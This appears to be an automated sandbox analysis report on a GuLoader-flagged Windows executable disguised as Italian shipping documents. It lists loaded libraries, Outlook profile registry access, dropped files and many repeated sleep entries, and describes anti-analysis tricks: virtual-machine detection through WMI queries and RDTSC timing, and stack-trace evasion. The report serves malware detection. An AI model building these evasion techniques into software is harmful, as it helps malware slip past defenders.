Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File written: C:\ProgramData\ankomstperrons.ini

Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Documenti di spedizione.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2622907662.0000000007225000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_10002D20 push eax; ret	0_2_10002D4E
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_000D0C55 push edi; retf	4_2_000D0C7A
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_38CF6047 pushad ; iretd	4_2_38CF604E

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

File created: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	API/Special instruction interceptor: Address: 7974D96
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	API/Special instruction interceptor: Address: 3CE4D96

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	RDTSC instruction interceptor: First address: 792047D second address: 792047D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF0F4F78132h 0x00000006 test dx, DFB8h 0x0000000b inc ebp 0x0000000c test cx, bx 0x0000000f inc ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	RDTSC instruction interceptor: First address: 3C9047D second address: 3C9047D instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF0F4E2A972h 0x00000006 test dx, DFB8h 0x0000000b inc ebp 0x0000000c test cx, bx 0x0000000f inc ebx 0x00000010 rdtsc

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Memory allocated: 35CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Memory allocated: 359B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595948	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595279	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Window / User API: threadDelayed 7521			Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Window / User API: threadDelayed 2332			Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

API coverage: 1.5 %

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 2292	Thread sleep count: 7521 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 2292	Thread sleep count: 2332 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -599014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595948s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595279s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe TID: 5136	Thread sleep time: -594624s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_004061FB FindFirstFileA,FindClose,	0_2_004061FB
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 0_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405799
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_0040270B FindFirstFileA,	4_2_0040270B
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_004061FB FindFirstFileA,FindClose,	4_2_004061FB
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Code function: 4_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405799

Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Users\user\Desktop\Documenti di spedizione.bat.exe	Thread delayed: delay time: 599343	Jump to behavior
